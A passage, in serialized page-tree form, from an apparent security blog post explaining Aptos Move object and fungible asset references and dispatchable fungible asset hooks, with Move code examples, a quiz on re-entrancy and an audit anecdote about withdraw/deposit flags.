transfer permission due to non-transferable restrictions, it could be unburned to restore the original ownership!",{"type":24,"tag":1818,"props":64944,"children":64946},{"id":64945},"references",[64947],{"type":29,"value":64948},"References",{"type":24,"tag":25,"props":64950,"children":64951},{},[64952,64957,64959,64965,64967,64972,64974,64979],{"type":24,"tag":32,"props":64953,"children":64955},{"className":64954},[],[64956],{"type":29,"value":64948},{"type":29,"value":64958}," are a permission type resource that authenticate a caller for security-critical operations. ",{"type":24,"tag":32,"props":64960,"children":64962},{"className":64961},[],[64963],{"type":29,"value":64964},"Refs",{"type":29,"value":64966}," are based on the ",{"type":24,"tag":32,"props":64968,"children":64970},{"className":64969},[],[64971],{"type":29,"value":48569},{"type":29,"value":64973}," model, but they are also adapted by fungible assets. Some of these are defined by the ",{"type":24,"tag":32,"props":64975,"children":64977},{"className":64976},[],[64978],{"type":29,"value":48569},{"type":29,"value":64980}," itself, while others are created through the fungible asset module. What's more, some are shared between them, while others appear shared but aren’t.",{"type":24,"tag":25,"props":64982,"children":64983},{},[64984,64986,64991,64993,64998,64999,65005,65007,65012,65014,65019],{"type":29,"value":64985},"Let's get back to the ",{"type":24,"tag":32,"props":64987,"children":64989},{"className":64988},[],[64990],{"type":29,"value":61791},{"type":29,"value":64992}," deletion example. Both ",{"type":24,"tag":32,"props":64994,"children":64996},{"className":64995},[],[64997],{"type":29,"value":63076},{"type":29,"value":2287},{"type":24,"tag":32,"props":65000,"children":65002},{"className":65001},[],[65003],{"type":29,"value":65004},"fungible_asset::remove_store",{"type":29,"value":65006}," use the same object-specific ",{"type":24,"tag":32,"props":65008,"children":65010},{"className":65009},[],[65011],{"type":29,"value":63008},{"type":29,"value":65013}," permission. It can be created only during object creation. There is no separate ",{"type":24,"tag":32,"props":65015,"children":65017},{"className":65016},[],[65018],{"type":29,"value":63008},{"type":29,"value":65020}," for fungible assets.",{"type":24,"tag":73,"props":65022,"children":65023},{"className":2725,"code":62958,"language":2724,"meta":7,"style":7},[65024],{"type":24,"tag":32,"props":65025,"children":65026},{"__ignoreMap":7},[65027,65034,65073,65080,65087],{"type":24,"tag":83,"props":65028,"children":65029},{"class":85,"line":86},[65030],{"type":24,"tag":83,"props":65031,"children":65032},{"style":2735},[65033],{"type":29,"value":62970},{"type":24,"tag":83,"props":65035,"children":65036},{"class":85,"line":113},[65037,65041,65045,65049,65053,65057,65061,65065,65069],{"type":24,"tag":83,"props":65038,"children":65039},{"style":137},[65040],{"type":29,"value":61390},{"type":24,"tag":83,"props":65042,"children":65043},{"style":137},[65044],{"type":29,"value":5953},{"type":24,"tag":83,"props":65046,"children":65047},{"style":101},[65048],{"type":29,"value":62986},{"type":24,"tag":83,"props":65050,"children":65051},{"style":107},[65052],{"type":29,"value":558},{"type":24,"tag":83,"props":65054,"children":65055},{"style":137},[65056],{"type":29,"value":62995},{"type":24,"tag":83,"props":65058,"children":65059},{"style":143},[65060],{"type":29,"value":195},{"type":24,"tag":83,"props":65062,"children":65063},{"style":143},[65064],{"type":29,"value":6888},{"type":24,"tag":83,"props":65066,"children":65067},{"style":3163},[65068],{"type":29,"value":63008},{"type":24,"tag":83,"props":65070,"children":65071},{"style":107},[65072],{"type":29,"value":2905},{"type":24,"tag":83,"props":65074,"children":65075},{"class":85,"line":128},[65076],{"type":24,"tag":83,"props":65077,"children":65078},{"emptyLinePlaceholder":16},[65079],{"type":29,"value":3422},{"type":24,"tag":83,"props":65081,"children":65082},{"class":85,"line":183},[65083],{"type":24,"tag":83,"props":65084,"children":65085},{"style":2735},[65086],{"type":29,"value":63027},{"type":24,"tag":83,"props":65088,"children":65089},{"class":85,"line":203},[65090,65094,65098,65102,65106,65110,65114,65118],{"type":24,"tag":83,"props":65091,"children":65092},{"style":137},[65093],{"type":29,"value":61390},{"type":24,"tag":83,"props":65095,"children":65096},{"style":137},[65097],{"type":29,"value":5953},{"type":24,"tag":83,"props":65099,"children":65100},{"style":101},[65101],{"type":29,"value":63043},{"type":24,"tag":83,"props":65103,"children":65104},{"style":107},[65105],{"type":29,"value":558},{"type":24,"tag":83,"props":65107,"children":65108},{"style":90},[65109],{"type":29,"value":63052},{"type":24,"tag":83,"props":65111,"children":65112},{"style":143},[65113],{"type":29,"value":195},{"type":24,"tag":83,"props":65115,"children":65116},{"style":3163},[65117],{"type":29,"value":63061},{"type":24,"tag":83,"props":65119,"children":65120},{"style":107},[65121],{"type":29,"value":2905},{"type":24,"tag":25,"props":65123,"children":65124},{},[65125,65127,65132,65134,65140],{"type":29,"value":65126},"On the other hand, the \"frozen\" status of a ",{"type":24,"tag":32,"props":65128,"children":65130},{"className":65129},[],[65131],{"type":29,"value":61791},{"type":29,"value":65133}," is toggled using a ",{"type":24,"tag":32,"props":65135,"children":65137},{"className":65136},[],[65138],{"type":29,"value":65139},"TransferRef",{"type":29,"value":65141},", which is defined in both models (and not interchangeable). They also can be created only during object creation.",{"type":24,"tag":73,"props":65143,"children":65145},{"className":2725,"code":65144,"language":2724,"meta":7,"style":7},"public fun set_frozen_flag\u003CT: key>(\n    ref: &TransferRef,\n    store: Object\u003CT>,\n    frozen: bool,\n)\n",[65146],{"type":24,"tag":32,"props":65147,"children":65148},{"__ignoreMap":7},[65149,65185,65209,65236,65255],{"type":24,"tag":83,"props":65150,"children":65151},{"class":85,"line":86},[65152,65156,65160,65165,65169,65173,65177,65181],{"type":24,"tag":83,"props":65153,"children":65154},{"style":137},[65155],{"type":29,"value":61390},{"type":24,"tag":83,"props":65157,"children":65158},{"style":137},[65159],{"type":29,"value":5953},{"type":24,"tag":83,"props":65161,"children":65162},{"style":137},[65163],{"type":29,"value":65164}," set_frozen_flag",{"type":24,"tag":83,"props":65166,"children":65167},{"style":107},[65168],{"type":29,"value":5552},{"type":24,"tag":83,"props":65170,"children":65171},{"style":3163},[65172],{"type":29,"value":5733},{"type":24,"tag":83,"props":65174,"children":65175},{"style":143},[65176],{"type":29,"value":195},{"type":24,"tag":83,"props":65178,"children":65179},{"style":137},[65180],{"type":29,"value":5677},{"type":24,"tag":83,"props":65182,"children":65183},{"style":107},[65184],{"type":29,"value":6335},{"type":24,"tag":83,"props":65186,"children":65187},{"class":85,"line":113},[65188,65193,65197,65201,65205],{"type":24,"tag":83,"props":65189,"children":65190},{"style":90},[65191],{"type":29,"value":65192},"    ref",{"type":24,"tag":83,"props":65194,"children":65195},{"style":143},[65196],{"type":29,"value":195},{"type":24,"tag":83,"props":65198,"children":65199},{"style":143},[65200],{"type":29,"value":6888},{"type":24,"tag":83,"props":65202,"children":65203},{"style":3163},[65204],{"type":29,"value":65139},{"type":24,"tag":83,"props":65206,"children":65207},{"style":107},[65208],{"type":29,"value":989},{"type":24,"tag":83,"props":65210,"children":65211},{"class":85,"line":128},[65212,65216,65220,65224,65228,65232],{"type":24,"tag":83,"props":65213,"children":65214},{"style":137},[65215],{"type":29,"value":29165},{"type":24,"tag":83,"props":65217,"children":65218},{"style":143},[65219],{"type":29,"value":195},{"type":24,"tag":83,"props":65221,"children":65222},{"style":3163},[65223],{"type":29,"value":61276},{"type":24,"tag":83,"props":65225,"children":65226},{"style":107},[65227],{"type":29,"value":5552},{"type":24,"tag":83,"props":65229,"children":65230},{"style":3163},[65231],{"type":29,"value":5733},{"type":24,"tag":83,"props":65233,"children":65234},{"style":107},[65235],{"type":29,"value":5884},{"type":24,"tag":83,"props":65237,"children":65238},{"class":85,"line":183},[65239,65243,65247,65251],{"type":24,"tag":83,"props":65240,"children":65241},{"style":137},[65242],{"type":29,"value":60928},{"type":24,"tag":83,"props":65244,"children":65245},{"style":143},[65246],{"type":29,"value":195},{"type":24,"tag":83,"props":65248,"children":65249},{"style":3163},[65250],{"type":29,"value":11797},{"type":24,"tag":83,"props":65252,"children":65253},{"style":107},[65254],{"type":29,"value":989},{"type":24,"tag":83,"props":65256,"children":65257},{"class":85,"line":203},[65258],{"type":24,"tag":83,"props":65259,"children":65260},{"style":107},[65261],{"type":29,"value":2905},{"type":24,"tag":25,"props":65263,"children":65264},{},[65265,65266,65271,65272,65277],{"type":29,"value":16348},{"type":24,"tag":32,"props":65267,"children":65269},{"className":65268},[],[65270],{"type":29,"value":48569},{"type":29,"value":6204},{"type":24,"tag":32,"props":65273,"children":65275},{"className":65274},[],[65276],{"type":29,"value":65139},{"type":29,"value":65278}," is used to transfer object ownership:",{"type":24,"tag":73,"props":65280,"children":65282},{"className":2725,"code":65281,"language":2724,"meta":7,"style":7},"/// Used to create LinearTransferRef, hence ownership transfer.\nstruct TransferRef has drop, store {\n    self: address,\n}\n",[65283],{"type":24,"tag":32,"props":65284,"children":65285},{"__ignoreMap":7},[65286,65294,65327,65346],{"type":24,"tag":83,"props":65287,"children":65288},{"class":85,"line":86},[65289],{"type":24,"tag":83,"props":65290,"children":65291},{"style":2735},[65292],{"type":29,"value":65293},"/// Used to create LinearTransferRef, hence ownership transfer.\n",{"type":24,"tag":83,"props":65295,"children":65296},{"class":85,"line":113},[65297,65301,65306,65310,65315,65319,65323],{"type":24,"tag":83,"props":65298,"children":65299},{"style":90},[65300],{"type":29,"value":9148},{"type":24,"tag":83,"props":65302,"children":65303},{"style":3163},[65304],{"type":29,"value":65305}," TransferRef",{"type":24,"tag":83,"props":65307,"children":65308},{"style":137},[65309],{"type":29,"value":9157},{"type":24,"tag":83,"props":65311,"children":65312},{"style":137},[65313],{"type":29,"value":65314}," drop",{"type":24,"tag":83,"props":65316,"children":65317},{"style":107},[65318],{"type":29,"value":568},{"type":24,"tag":83,"props":65320,"children":65321},{"style":137},[65322],{"type":29,"value":5686},{"type":24,"tag":83,"props":65324,"children":65325},{"style":107},[65326],{"type":29,"value":125},{"type":24,"tag":83,"props":65328,"children":65329},{"class":85,"line":128},[65330,65334,65338,65342],{"type":24,"tag":83,"props":65331,"children":65332},{"style":90},[65333],{"type":29,"value":20526},{"type":24,"tag":83,"props":65335,"children":65336},{"style":143},[65337],{"type":29,"value":195},{"type":24,"tag":83,"props":65339,"children":65340},{"style":137},[65341],{"type":29,"value":5996},{"type":24,"tag":83,"props":65343,"children":65344},{"style":107},[65345],{"type":29,"value":989},{"type":24,"tag":83,"props":65347,"children":65348},{"class":85,"line":183},[65349],{"type":24,"tag":83,"props":65350,"children":65351},{"style":107},[65352],{"type":29,"value":464},{"type":24,"tag":25,"props":65354,"children":65355},{},[65356,65358,65363],{"type":29,"value":65357},"While the fungible asset's ",{"type":24,"tag":32,"props":65359,"children":65361},{"className":65360},[],[65362],{"type":29,"value":65139},{"type":29,"value":65364}," manages the transfer of fungible assets and the (un)freezing of fungible stores:",{"type":24,"tag":73,"props":65366,"children":65368},{"className":2725,"code":65367,"language":2724,"meta":7,"style":7},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n/// and allow the holder of TransferRef to transfer fungible assets from any account.\nstruct TransferRef has drop, store {\n    metadata: Object\u003CMetadata>\n}\n",[65369],{"type":24,"tag":32,"props":65370,"children":65371},{"__ignoreMap":7},[65372,65380,65388,65419,65446],{"type":24,"tag":83,"props":65373,"children":65374},{"class":85,"line":86},[65375],{"type":24,"tag":83,"props":65376,"children":65377},{"style":2735},[65378],{"type":29,"value":65379},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n",{"type":24,"tag":83,"props":65381,"children":65382},{"class":85,"line":113},[65383],{"type":24,"tag":83,"props":65384,"children":65385},{"style":2735},[65386],{"type":29,"value":65387},"/// and allow the holder of TransferRef to transfer fungible assets from any account.\n",{"type":24,"tag":83,"props":65389,"children":65390},{"class":85,"line":128},[65391,65395,65399,65403,65407,65411,65415],{"type":24,"tag":83,"props":65392,"children":65393},{"style":90},[65394],{"type":29,"value":9148},{"type":24,"tag":83,"props":65396,"children":65397},{"style":3163},[65398],{"type":29,"value":65305},{"type":24,"tag":83,"props":65400,"children":65401},{"style":137},[65402],{"type":29,"value":9157},{"type":24,"tag":83,"props":65404,"children":65405},{"style":137},[65406],{"type":29,"value":65314},{"type":24,"tag":83,"props":65408,"children":65409},{"style":107},[65410],{"type":29,"value":568},{"type":24,"tag":83,"props":65412,"children":65413},{"style":137},[65414],{"type":29,"value":5686},{"type":24,"tag":83,"props":65416,"children":65417},{"style":107},[65418],{"type":29,"value":125},{"type":24,"tag":83,"props":65420,"children":65421},{"class":85,"line":183},[65422,65426,65430,65434,65438,65442],{"type":24,"tag":83,"props":65423,"children":65424},{"style":137},[65425],{"type":29,"value":61267},{"type":24,"tag":83,"props":65427,"children":65428},{"style":143},[65429],{"type":29,"value":195},{"type":24,"tag":83,"props":65431,"children":65432},{"style":3163},[65433],{"type":29,"value":61276},{"type":24,"tag":83,"props":65435,"children":65436},{"style":107},[65437],{"type":29,"value":5552},{"type":24,"tag":83,"props":65439,"children":65440},{"style":3163},[65441],{"type":29,"value":61285},{"type":24,"tag":83,"props":65443,"children":65444},{"style":107},[65445],{"type":29,"value":5738},{"type":24,"tag":83,"props":65447,"children":65448},{"class":85,"line":203},[65449],{"type":24,"tag":83,"props":65450,"children":65451},{"style":107},[65452],{"type":29,"value":464},{"type":24,"tag":25,"props":65454,"children":65455},{},[65456,65458,65464,65466,65472],{"type":29,"value":65457},"Additionally, there are fungible asset-specific references such as ",{"type":24,"tag":32,"props":65459,"children":65461},{"className":65460},[],[65462],{"type":29,"value":65463},"MintRef",{"type":29,"value":65465}," for minting and ",{"type":24,"tag":32,"props":65467,"children":65469},{"className":65468},[],[65470],{"type":29,"value":65471},"BurnRef",{"type":29,"value":65473}," for burning. These references are used exclusively by the fungible asset model, but they still must be created when the fungible asset object is initialized.",{"type":24,"tag":51,"props":65475,"children":65477},{"id":65476},"dispatchable-fungible-assets",[65478],{"type":29,"value":65479},"Dispatchable fungible assets",{"type":24,"tag":25,"props":65481,"children":65482},{},[65483],{"type":29,"value":65484},"Dispatchable fungible assets enhance the functionality of fungible assets by enabling the overloading of operations like deposits and withdrawals.",{"type":24,"tag":25,"props":65486,"children":65487},{},[65488],{"type":29,"value":65489},"Hooks registered during the creation of a dispatchable fungible asset override the default logic for these operations, allowing for custom features like access control, fee mechanisms, or granular pausing.",{"type":24,"tag":65491,"props":65492,"children":65493},"warning",{},[65494],{"type":24,"tag":25,"props":65495,"children":65496},{},[65497,65499,65505],{"type":29,"value":65498},"Overloading the core fungible asset functions introduces potential security risks; for example, during a deposit, funds may not end up at the intended address. The dispatchable fungible asset API provides functions like ",{"type":24,"tag":32,"props":65500,"children":65502},{"className":65501},[],[65503],{"type":29,"value":65504},"transfer_assert_minimum_deposit",{"type":29,"value":65506}," that can help mitigate such risks.",{"type":24,"tag":25,"props":65508,"children":65509},{},[65510,65512,65517,65519,65526],{"type":29,"value":65511},"Hook functions for dispatchable fungible assets must have the correct type signature. They must also be declared ",{"type":24,"tag":32,"props":65513,"children":65515},{"className":65514},[],[65516],{"type":29,"value":61390},{"type":29,"value":65518}," to ensure ",{"type":24,"tag":2033,"props":65520,"children":65523},{"href":65521,"rel":65522},"https://aptos.dev/en/build/smart-contracts/book/package-upgrades#compatibility-rules",[2037],[65524],{"type":29,"value":65525},"their signature remains immutable",{"type":29,"value":65527},". An example implementation might look like this:",{"type":24,"tag":73,"props":65529,"children":65531},{"className":2725,"code":65530,"language":2724,"meta":7,"style":7},"public fun withdraw_hook\u003CT: key>(\n    store: Object\u003CT>,\n    amount: u64,\n    transfer_ref: &TransferRef,\n): FungibleAsset {\n    //check paused, gather fees etc.\n    fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n\npublic fun deposit_hook\u003CT: key>(\n    store: Object\u003CT>,\n    fa: FungibleAsset,\n    transfer_ref: &TransferRef,\n) {\n    //check paused, gather fees etc.\n    fungible_asset::deposit_with_ref(transfer_ref, store, fa);\n}\n",[65532],{"type":24,"tag":32,"props":65533,"children":65534},{"__ignoreMap":7},[65535,65571,65598,65617,65641,65660,65668,65714,65721,65728,65764,65791,65811,65834,65841,65848,65892],{"type":24,"tag":83,"props":65536,"children":65537},{"class":85,"line":86},[65538,65542,65546,65551,65555,65559,65563,65567],{"type":24,"tag":83,"props":65539,"children":65540},{"style":137},[65541],{"type":29,"value":61390},{"type":24,"tag":83,"props":65543,"children":65544},{"style":137},[65545],{"type":29,"value":5953},{"type":24,"tag":83,"props":65547,"children":65548},{"style":137},[65549],{"type":29,"value":65550}," withdraw_hook",{"type":24,"tag":83,"props":65552,"children":65553},{"style":107},[65554],{"type":29,"value":5552},{"type":24,"tag":83,"props":65556,"children":65557},{"style":3163},[65558],{"type":29,"value":5733},{"type":24,"tag":83,"props":65560,"children":65561},{"style":143},[65562],{"type":29,"value":195},{"type":24,"tag":83,"props":65564,"children":65565},{"style":137},[65566],{"type":29,"value":5677},{"type":24,"tag":83,"props":65568,"children":65569},{"style":107},[65570],{"type":29,"value":6335},{"type":24,"tag":83,"props":65572,"children":65573},{"class":85,"line":113},[65574,65578,65582,65586,65590,65594],{"type":24,"tag":83,"props":65575,"children":65576},{"style":137},[65577],{"type":29,"value":29165},{"type":24,"tag":83,"props":65579,"children":65580},{"style":143},[65581],{"type":29,"value":195},{"type":24,"tag":83,"props":65583,"children":65584},{"style":3163},[65585],{"type":29,"value":61276},{"type":24,"tag":83,"props":65587,"children":65588},{"style":107},[65589],{"type":29,"value":5552},{"type":24,"tag":83,"props":65591,"children":65592},{"style":3163},[65593],{"type":29,"value":5733},{"type":24,"tag":83,"props":65595,"children":65596},{"style":107},[65597],{"type":29,"value":5884},{"type":24,"tag":83,"props":65599,"children":65600},{"class":85,"line":128},[65601,65605,65609,65613],{"type":24,"tag":83,"props":65602,"children":65603},{"style":137},[65604],{"type":29,"value":61297},{"type":24,"tag":83,"props":65606,"children":65607},{"style":143},[65608],{"type":29,"value":195},{"type":24,"tag":83,"props":65610,"children":65611},{"style":3163},[65612],{"type":29,"value":5606},{"type":24,"tag":83,"props":65614,"children":65615},{"style":107},[65616],{"type":29,"value":989},{"type":24,"tag":83,"props":65618,"children":65619},{"class":85,"line":183},[65620,65625,65629,65633,65637],{"type":24,"tag":83,"props":65621,"children":65622},{"style":137},[65623],{"type":29,"value":65624},"    transfer_ref",{"type":24,"tag":83,"props":65626,"children":65627},{"style":143},[65628],{"type":29,"value":195},{"type":24,"tag":83,"props":65630,"children":65631},{"style":143},[65632],{"type":29,"value":6888},{"type":24,"tag":83,"props":65634,"children":65635},{"style":3163},[65636],{"type":29,"value":65139},{"type":24,"tag":83,"props":65638,"children":65639},{"style":107},[65640],{"type":29,"value":989},{"type":24,"tag":83,"props":65642,"children":65643},{"class":85,"line":203},[65644,65648,65652,65656],{"type":24,"tag":83,"props":65645,"children":65646},{"style":107},[65647],{"type":29,"value":2872},{"type":24,"tag":83,"props":65649,"children":65650},{"style":143},[65651],{"type":29,"value":195},{"type":24,"tag":83,"props":65653,"children":65654},{"style":3163},[65655],{"type":29,"value":61255},{"type":24,"tag":83,"props":65657,"children":65658},{"style":107},[65659],{"type":29,"value":125},{"type":24,"tag":83,"props":65661,"children":65662},{"class":85,"line":212},[65663],{"type":24,"tag":83,"props":65664,"children":65665},{"style":2735},[65666],{"type":29,"value":65667},"    //check paused, gather fees etc.\n",{"type":24,"tag":83,"props":65669,"children":65670},{"class":85,"line":256},[65671,65676,65680,65685,65689,65694,65698,65702,65706,65710],{"type":24,"tag":83,"props":65672,"children":65673},{"style":107},[65674],{"type":29,"value":65675},"    fungible_asset",{"type":24,"tag":83,"props":65677,"children":65678},{"style":143},[65679],{"type":29,"value":3226},{"type":24,"tag":83,"props":65681,"children":65682},{"style":101},[65683],{"type":29,"value":65684},"withdraw_with_ref",{"type":24,"tag":83,"props":65686,"children":65687},{"style":107},[65688],{"type":29,"value":558},{"type":24,"tag":83,"props":65690,"children":65691},{"style":137},[65692],{"type":29,"value":65693},"transfer_ref",{"type":24,"tag":83,"props":65695,"children":65696},{"style":107},[65697],{"type":29,"value":568},{"type":24,"tag":83,"props":65699,"children":65700},{"style":137},[65701],{"type":29,"value":5686},{"type":24,"tag":83,"props":65703,"children":65704},{"style":107},[65705],{"type":29,"value":568},{"type":24,"tag":83,"props":65707,"children":65708},{"style":137},[65709],{"type":29,"value":20047},{"type":24,"tag":83,"props":65711,"children":65712},{"style":107},[65713],{"type":29,"value":2905},{"type":24,"tag":83,"props":65715,"children":65716},{"class":85,"line":270},[65717],{"type":24,"tag":83,"props":65718,"children":65719},{"style":107},[65720],{"type":29,"value":464},{"type":24,"tag":83,"props":65722,"children":65723},{"class":85,"line":302},[65724],{"type":24,"tag":83,"props":65725,"children":65726},{"emptyLinePlaceholder":16},[65727],{"type":29,"value":3422},{"type":24,"tag":83,"props":65729,"children":65730},{"class":85,"line":324},[65731,65735,65739,65744,65748,65752,65756,65760],{"type":24,"tag":83,"props":65732,"children":65733},{"style":137},[65734],{"type":29,"value":61390},{"type":24,"tag":83,"props":65736,"children":65737},{"style":137},[65738],{"type":29,"value":5953},{"type":24,"tag":83,"props":65740,"children":65741},{"style":137},[65742],{"type":29,"value":65743}," deposit_hook",{"type":24,"tag":83,"props":65745,"children":65746},{"style":107},[65747],{"type":29,"value":5552},{"type":24,"tag":83,"props":65749,"children":65750},{"style":3163},[65751],{"type":29,"value":5733},{"type":24,"tag":83,"props":65753,"children":65754},{"style":143},[65755],{"type":29,"value":195},{"type":24,"tag":83,"props":65757,"children":65758},{"style":137},[65759],{"type":29,"value":5677},{"type":24,"tag":83,"props":65761,"children":65762},{"style":107},[65763],{"type":29,"value":6335},{"type":24,"tag":83,"props":65765,"children":65766},{"class":85,"line":345},[65767,65771,65775,65779,65783,65787],{"type":24,"tag":83,"props":65768,"children":65769},{"style":137},[65770],{"type":29,"value":29165},{"type":24,"tag":83,"props":65772,"children":65773},{"style":143},[65774],{"type":29,"value":195},{"type":24,"tag":83,"props":65776,"children":65777},{"style":3163},[65778],{"type":29,"value":61276},{"type":24,"tag":83,"props":65780,"children":65781},{"style":107},[65782],{"type":29,"value":5552},{"type":24,"tag":83,"props":65784,"children":65785},{"style":3163},[65786],{"type":29,"value":5733},{"type":24,"tag":83,"props":65788,"children":65789},{"style":107},[65790],{"type":29,"value":5884},{"type":24,"tag":83,"props":65792,"children":65793},{"class":85,"line":358},[65794,65799,65803,65807],{"type":24,"tag":83,"props":65795,"children":65796},{"style":137},[65797],{"type":29,"value":65798},"    fa",{"type":24,"tag":83,"props":65800,"children":65801},{"style":143},[65802],{"type":29,"value":195},{"type":24,"tag":83,"props":65804,"children":65805},{"style":3163},[65806],{"type":29,"value":61255},{"type":24,"tag":83,"props":65808,"children":65809},{"style":107},[65810],{"type":29,"value":989},{"type":24,"tag":83,"props":65812,"children":65813},{"class":85,"line":367},[65814,65818,65822,65826,65830],{"type":24,"tag":83,"props":65815,"children":65816},{"style":137},[65817],{"type":29,"value":65624},{"type":24,"tag":83,"props":65819,"children":65820},{"style":143},[65821],{"type":29,"value":195},{"type":24,"tag":83,"props":65823,"children":65824},{"style":143},[65825],{"type":29,"value":6888},{"type":24,"tag":83,"props":65827,"children":65828},{"style":3163},[65829],{"type":29,"value":65139},{"type":24,"tag":83,"props":65831,"children":65832},{"style":107},[65833],{"type":29,"value":989},{"type":24,"tag":83,"props":65835,"children":65836},{"class":85,"line":406},[65837],{"type":24,"tag":83,"props":65838,"children":65839},{"style":107},[65840],{"type":29,"value":253},{"type":24,"tag":83,"props":65842,"children":65843},{"class":85,"line":427},[65844],{"type":24,"tag":83,"props":65845,"children":65846},{"style":2735},[65847],{"type":29,"value":65667},{"type":24,"tag":83,"props":65849,"children":65850},{"class":85,"line":440},[65851,65855,65859,65864,65868,65872,65876,65880,65884,65888],{"type":24,"tag":83,"props":65852,"children":65853},{"style":107},[65854],{"type":29,"value":65675},{"type":24,"tag":83,"props":65856,"children":65857},{"style":143},[65858],{"type":29,"value":3226},{"type":24,"tag":83,"props":65860,"children":65861},{"style":101},[65862],{"type":29,"value":65863},"deposit_with_ref",{"type":24,"tag":83,"props":65865,"children":65866},{"style":107},[65867],{"type":29,"value":558},{"type":24,"tag":83,"props":65869,"children":65870},{"style":137},[65871],{"type":29,"value":65693},{"type":24,"tag":83,"props":65873,"children":65874},{"style":107},[65875],{"type":29,"value":568},{"type":24,"tag":83,"props":65877,"children":65878},{"style":137},[65879],{"type":29,"value":5686},{"type":24,"tag":83,"props":65881,"children":65882},{"style":107},[65883],{"type":29,"value":568},{"type":24,"tag":83,"props":65885,"children":65886},{"style":137},[65887],{"type":29,"value":61448},{"type":24,"tag":83,"props":65889,"children":65890},{"style":107},[65891],{"type":29,"value":581},{"type":24,"tag":83,"props":65893,"children":65894},{"class":85,"line":449},[65895],{"type":24,"tag":83,"props":65896,"children":65897},{"style":107},[65898],{"type":29,"value":464},{"type":24,"tag":65900,"props":65901,"children":65902},"question",{},[65903,65930],{"type":24,"tag":25,"props":65904,"children":65905},{},[65906,65908,65914,65916,65922,65923,65929],{"type":29,"value":65907},"Why hook functions rely on ",{"type":24,"tag":32,"props":65909,"children":65911},{"className":65910},[],[65912],{"type":29,"value":65913},"*_with_ref",{"type":29,"value":65915}," calls? What would happen if the hook function called ",{"type":24,"tag":32,"props":65917,"children":65919},{"className":65918},[],[65920],{"type":29,"value":65921},"dispatchable_fungible_asset::withdraw",{"type":29,"value":16529},{"type":24,"tag":32,"props":65924,"children":65926},{"className":65925},[],[65927],{"type":29,"value":65928},"fungible_asset::withdraw_with_ref",{"type":29,"value":2900},{"type":24,"tag":65931,"props":65932,"children":65933},"template",{"v-slot:answer-0":7},[65934,65946],{"type":24,"tag":25,"props":65935,"children":65936},{},[65937,65939,65944],{"type":29,"value":65938},"A1: Hook functions rely on ",{"type":24,"tag":32,"props":65940,"children":65942},{"className":65941},[],[65943],{"type":29,"value":65913},{"type":29,"value":65945}," calls because the default fungible asset functions verify if the fungible asset is not dispatchable.",{"type":24,"tag":25,"props":65947,"children":65948},{},[65949,65951,65956],{"type":29,"value":65950},"A2: A ",{"type":24,"tag":32,"props":65952,"children":65954},{"className":65953},[],[65955],{"type":29,"value":65921},{"type":29,"value":65957}," would result in RUNTIME_DISPATCH_ERROR (code 4037) error with error message: \"Re-entrancy detected\".",{"type":24,"tag":25,"props":65959,"children":65960},{},[65961],{"type":29,"value":65962},"In one of our reviews, we encountered a dispatchable fungible asset where the hooked withdrawal set a \"blocked\" flag, which was cleared by the corresponding deposit. This design was used to ensure that each withdrawal was tied to a deposit, effectively preventing simultaneous withdrawals.",{"type":24,"tag":73,"props":65964,"children":65966},{"className":2725,"code":65965,"language":2724,"meta":7,"style":7},"public fun deposit\u003CT: key>(store: Object\u003CT>, fa: FungibleAsset, transfer_ref: &TransferRef) {\n    assert_withdraw_flag(true);\n    [...]\n    set_withdraw_flag(false);\n    fungible_asset::deposit_with_ref(transfer_ref, store, amount);\n    [...]\n    }\n\npublic fun withdraw\u003CT: key>(store: Object\u003CT>, amount: u64, transfer_ref: &TransferRef): FungibleAsset acquires [...] {\n    assert_withdraw_flag(false);\n    [...]\n    set_withdraw_flag(true);\n    fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n",[65967],{"type":24,"tag":32,"props":65968,"children":65969},{"__ignoreMap":7},[65970,66065,66085,66100,66120,66163,66178,66185,66192,66311,66330,66345,66364,66407],{"type":24,"tag":83,"props":65971,"children":65972},{"class":85,"line":86},[65973,65977,65981,65985,65989,65993,65997,66001,66005,66009,66013,66017,66021,66025,66029,66033,66037,66041,66045,66049,66053,66057,66061],{"type":24,"tag":83,"props":65974,"children":65975},{"style":137},[65976],{"type":29,"value":61390},{"type":24,"tag":83,"props":65978,"children":65979},{"style":137},[65980],{"type":29,"value":5953},{"type":24,"tag":83,"props":65982,"children":65983},{"style":137},[65984],{"type":29,"value":61399},{"type":24,"tag":83,"props":65986,"children":65987},{"style":107},[65988],{"type":29,"value":5552},{"type":24,"tag":83,"props":65990,"children":65991},{"style":3163},[65992],{"type":29,"value":5733},{"type":24,"tag":83,"props":65994,"children":65995},{"style":143},[65996],{"type":29,"value":195},{"type":24,"tag":83,"props":65998,"children":65999},{"style":137},[66000],{"type":29,"value":5677},{"type":24,"tag":83,"props":66002,"children":66003},{"style":107},[66004],{"type":29,"value":7358},{"type":24,"tag":83,"props":66006,"children":66007},{"style":137},[66008],{"type":29,"value":5686},{"type":24,"tag":83,"props":66010,"children":66011},{"style":143},[66012],{"type":29,"value":195},{"type":24,"tag":83,"props":66014,"children":66015},{"style":3163},[66016],{"type":29,"value":61276},{"type":24,"tag":83,"props":66018,"children":66019},{"style":107},[66020],{"type":29,"value":5552},{"type":24,"tag":83,"props":66022,"children":66023},{"style":3163},[66024],{"type":29,"value":5733},{"type":24,"tag":83,"props":66026,"children":66027},{"style":107},[66028],{"type":29,"value":6377},{"type":24,"tag":83,"props":66030,"children":66031},{"style":137},[66032],{"type":29,"value":61448},{"type":24,"tag":83,"props":66034,"children":66035},{"style":143},[66036],{"type":29,"value":195},{"type":24,"tag":83,"props":66038,"children":66039},{"style":3163},[66040],{"type":29,"value":61255},{"type":24,"tag":83,"props":66042,"children":66043},{"style":107},[66044],{"type":29,"value":568},{"type":24,"tag":83,"props":66046,"children":66047},{"style":137},[66048],{"type":29,"value":65693},{"type":24,"tag":83,"props":66050,"children":66051},{"style":143},[66052],{"type":29,"value":195},{"type":24,"tag":83,"props":66054,"children":66055},{"style":143},[66056],{"type":29,"value":6888},{"type":24,"tag":83,"props":66058,"children":66059},{"style":3163},[66060],{"type":29,"value":65139},{"type":24,"tag":83,"props":66062,"children":66063},{"style":107},[66064],{"type":29,"value":253},{"type":24,"tag":83,"props":66066,"children":66067},{"class":85,"line":113},[66068,66073,66077,66081],{"type":24,"tag":83,"props":66069,"children":66070},{"style":101},[66071],{"type":29,"value":66072},"    